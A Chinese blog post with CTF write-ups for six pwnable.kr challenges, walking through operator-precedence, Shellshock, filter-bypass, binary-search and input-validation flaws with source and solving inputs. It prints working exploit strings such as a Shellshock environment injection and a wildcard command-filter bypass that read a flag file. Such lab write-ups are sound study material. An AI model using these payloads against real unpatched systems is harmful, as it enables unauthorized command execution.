一些pwn题目的解题思路[pwnable.kr] II

目录

以下是solution的目录

Other

一些pwn题目的解题思路[pwnable.kr]

mistake

#include <stdio.h>#include <fcntl.h>#define PW_LEN 10#define XORKEY 1void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; }}int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0;}

题目的hint说符号的优先级:

We all make mistakes, let’s move on. (don’t take this too seriously, no fancy hacking skill is required at all) This task is based on real event Thanks to dhmonkey hint : operator priority

注意到这里

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ printf("can't open password %d\n", fd); return 0;}

因为=的优先级小于<,所以

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

的执行顺序应该是这样的

fd = (open("/home/mistake/password",O_RDONLY,0400) < 0)

然而

open("/home/mistake/password",O_RDONLY,0400) < 0

为假,所以

= 0```为标准输入,剩下的流程就很简单了。

```bashmistake@ubuntu:~$ ./mistake do not bruteforce...0000000000input password : 1111111111Password OKMommy, the operator priority always confuses me :(

shellshock

#include <stdio.h>int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0;}

题目提示破壳漏洞,直接测试一下。

shellshock@ubuntu:~$ env foo='() { :;}; echo vul' ./bash -c 'echo yes'vulyes

存在漏洞,直接丢来exploit

shellshock@ubuntu:~$ env foo='() { :;}; /bin/cat flag' ./shellshockonly if I knew CVE-2014-6271 ten years ago..!!Segmentation fault

coin1

一个小游戏,查找一堆硬币中假的那个,30s内要完成100次。

---------------------------------------------------- Shall we play a game? ----------------------------------------------------You have given some gold coins in your handhowever, there is one counterfeit coin among themcounterfeit coin looks exactly same as real coinhowever, its weight is different from real onereal coin weighs 10, counterfeit coin weighes 9help me to find the counterfeit coin with a scaleif you find 100 counterfeit coins, you will get reward :)FYI, you have 30 seconds.- How to play - 1. you get a number of coins (N) and number of chances (C)2. then you specify a set of index numbers of coins to be weighed3. you get the weight information4. 2~3 repeats C time, then you give the answer- Example -[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial[Client] 0 1 # weigh first and second coin[Server] 20 # scale result : 20[Client] 3 # weigh fourth coin[Server] 10 # scale result : 10[Client] 2 # counterfeit coin is third![Server] Correct!- Ready? starting in 3 sec... -

其实就是一个二分查找,然而因为网络原因跑30次就超时了,于是丢到对方服务器上跑。

from pwn import *import re, sysio = remote("127.0.0.1", 9007)io.recv()def get_coin_chance(): try: ret = io.recv() pattern = re.compile("N=(\d+)\sC=(\d+)") res = pattern.search(ret).groups() log.success("N=[%d], C=[%d]" % (int(res[0]), int(res[1]))) except: log.success("Flag => [%s]" % ret) return int(res[0]), int(res[1])def have_fake(nums): ret = int(io.recv()) log.success("Num => [%d] Weight => [%d]" % (nums, ret)) if ret % 10 == 0 and ret/10 == nums: log.info("No Error find next") return 0 else: log.warning("Find Error") return 1def send_coin(base, top): c = "" for x in range(base, top+1): c += (str(x - 1) + " ") log.info("Send Coins => [%s]" % c.strip()) io.sendline(c.strip())def check(low, high, chance): mid = (high + low) / 2 nums = mid - low + 1 send_coin(low, mid) if chance == 0: print io.recv() return #coins, chance = get_coin_chance() #check(1, coins, chance) log.warning("low=>[%d] mid=>[%d] high=>[%d]"%(low,mid,high)) if have_fake(nums): check(low, mid, chance-1) else: check(mid+1, high, chance-1)if __name__ == "__main__": while True: coins, chance = get_coin_chance() check(1, coins, chance)

跑出来的结果如下。

[+] Num => [1] Weight => [9][!] Find Error[*] Send Coins => [402]Correct! (99)[+] Flag => [Congrats! get your flag b1NaRy_S34rch1nG_1s_3asy_p3asy ]

blackjack

这个游戏是个21点的游戏,初始给你$500,赢到$1000000就给出flag。但是,这种想直接玩下去估计得明年了。

不过题目中给了源代码的连接,http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

只能从源代码中找漏洞。

int betting() //Asks user amount to bet{ printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet;} // End Function

看了下注的代码后,发现一个漏洞,可以下任意大小的筹码(不要溢出了= =)。然后只要赢一次就好了。

YaY_I_AM_A_MILLIONARE_LOLCash: $100000500-------|D || 1 || D|-------Your Total is 1The Dealer Has a Total of 10Enter Bet: $

lotto

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>unsigned char submit[6];void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); }}void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n");}int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0;}

只需要让match == 6即可

这一句是将ascii转换到ascii 1-45之间

for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45}

这块正是漏洞所在,

for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } }}

无法控制lotto的值,可以控制submit的值,但是submit可以相同。所以就暴力破解。

Submit your 6 lotto bytes : !!!!!!Lotto Start!sorry mom... I FORGOT to check duplicate numbers... :(- Select Menu -1. Play Lotto2. Help3. Exit

cmd1

#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r;}int main(int argc, char* argv[], char** envp){ putenv("PATH=/fuckyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0;}

可以看出,system的参数过滤了flag,sh,tmp。不过linux可以使用通配符flag换成f*即可。

cmd1@ubuntu:~$ ./cmd1 "/bin/cat f*"mommy now I get what PATH environment is for :)

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏一个会写诗的程序员的博客

第13章 Kotlin 集成 SpringBoot 服务端开发(2)

其中,ON DUPLICATE KEY UPDATE 这句表明当遇到重复的键值的时候,执行更新 gmt_modified = now() 的操作。这里nativ...

1171
来自专栏ml

caffe源码学习之Proto数据格式【1】

前言:   由于业务需要,接触caffe已经有接近半年,一直忙着阅读各种论文,重现大大小小的模型. 期间也总结过一些caffe源码学习笔记,断断续续,这次打算系...

5838
来自专栏芋道源码1024

面试问烂的 Spring MVC 过程

来源:https://www.jianshu.com/p/e18fd44964eb

1663
来自专栏linux驱动个人学习

高通Audio中ASOC的codec驱动(二)

继上一篇文章:高通Audio中ASOC的machine驱动(一) ASOC的出现是为了让codec独立于CPU,减少和CPU之间的耦合,这样同一个codec驱动...

9186
来自专栏人工智能LeadAI

实时Android语音对讲系统架构

本文属于Android局域网内的语音对讲项目(https://github.com/yhthu/intercom)系列,《通过UDP广播实现Android局域网...

1.2K4
来自专栏Android中高级开发

Android开发之漫漫长途 XI——从I到X的小结

该文章是一个系列文章,是本人在Android开发的漫漫长途上的一点感想和记录,我会尽量按照先易后难的顺序进行编写该系列。该系列引用了《Android开发艺术探索...

1172
来自专栏Android机动车

使用Retrofit+RxJava实现带进度下载文件

Retrofit+RxJava已经是目前市场上最主流的网络框架,使用它进行平常的网络请求异常轻松,之前也用Retrofit做过上传文件和下载文件,但发现:使用R...

2061
来自专栏web开发

登录验证码demo-java

在一些类似于管理系统的项目中,我们在登录时经常会用到图片验证码。这里把我自己写的一个小系统(后台是java语言)的验证码部分摘出来。 总体思路是后端有一个生成验...

82810
来自专栏Seebug漏洞平台

“盲”逆向:iOS 应用 Blind 寻踪

原文地址:《"BLIND" Reversing - A Look At The Blind iOS App》

3807
来自专栏Java架构解析

深入理解Java中的底层阻塞原理及实现

Information Technology Solutions as a Presentation

540

扫码关注云+社区

领取腾讯云代金券